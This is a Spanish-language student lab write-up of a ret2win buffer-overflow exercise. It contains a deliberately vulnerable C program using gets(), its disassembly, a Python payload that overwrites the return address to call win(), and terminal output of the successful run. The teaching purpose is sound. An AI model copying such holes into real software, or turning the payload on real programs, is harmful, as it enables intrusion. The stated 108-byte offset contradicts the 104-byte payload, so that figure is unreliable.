

Reto 8: Llamada a función por desbordamiento del Buffer.

Paulo Blas Heredia
Almudena Hernandez Serrano
Daniel Gotter
Carlos Martín Rodríguez

Contexto

- Para la realización de este reto utilizaremos un nuevo archivo llamado `bufOver6.c`
- Como podemos ver, ahora para poder imprimir “you win!” por pantalla tenemos que llamar a una función inaccesible desde el main.

```
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 char* gets(char *);
5
6 void win() {
7     printf("you win!\n");
8     exit(0);
9 }
10
11 int main() {
12     int cookie;
13     char buf[80];
14
15     printf("buf: %08x cookie: %08x\n", &buf, &cookie);
16     gets(buf);
17
18     if (cookie == 0x41424344)
19         printf("you lose!\n");
20 }
```

Estrategia

- **Utilizando la vulnerabilidad de la función `gets()`, es posible desbordar mas allá de las variables locales y sobrescribir la dirección de retorno para llamar a otra función.**

Preparando el ataque

- **Tras compilar bufOver6 sin restricciones, desglosamos el código en formato ensamblador**
- **En la instrucción “sub \$0x60,%rsp”, podemos observar que el programa reserva 60 bytes (96 en decimal) para las variables locales.**
- **Añadiendo los 8 bytes del puntero RBP, resulta que se necesitan 108 bytes para escribir más allá de las variables locales**
- **Una vez superado esto, tan sólo tenemos que escribir la dirección de la función win() (0x401152)**

```
0000000000401152 <win>:
401152: 55                push    %rbp
401153: 48 89 e5          mov     %rsp,%rbp
401156: 48 8d 3d a7 0e 00 00 lea     0xea7(%rip),%rdi    # 40
2004 <_IO_stdin_used+0x4>
40115d: e8 ce fe ff ff    callq   401030 <puts@plt>
401162: bf 00 00 00 00    mov     $0x0,%edi
401167: e8 f4 fe ff ff    callq   401060 <exit@plt>

000000000040116c <main>:
40116c: 55                push    %rbp
40116d: 48 89 e5          mov     %rsp,%rbp
401170: 48 83 ec 60       sub     $0x60,%rsp
401174: 48 8d 55 fc       lea     -0x4(%rbp),%rdx
401178: 48 8d 45 a0       lea     -0x60(%rbp),%rax
40117c: 48 89 c6          mov     %rax,%rsi
```

Comprobación

- **Escribimos el Script en Python, ejecutamos ambos programas y comprobamos que efectivamente se ejecuta tal cómo queremos.**

```
1#!/usr/bin/env python3
2import sys
3
4payload = b"A" * 96      # Buffer
5payload += b"B" * 8      # RBP
6payload += b"\x52\x11\x40\x00\x00\x00\x00\x00" # Dirección de win() →
                          0x401152
7
8sys.stdout.buffer.write(payload)
9
```

```
(kali㉿kali)-[~/Descargas]
$ chmod +x exploitReturn.py

(kali㉿kali)-[~/Descargas]
$ ./exploitReturn.py | ./bufOver6
buf: da8dc4b0 cookie: da8dc50c
you win!

(kali㉿kali)-[~/Descargas]
$
```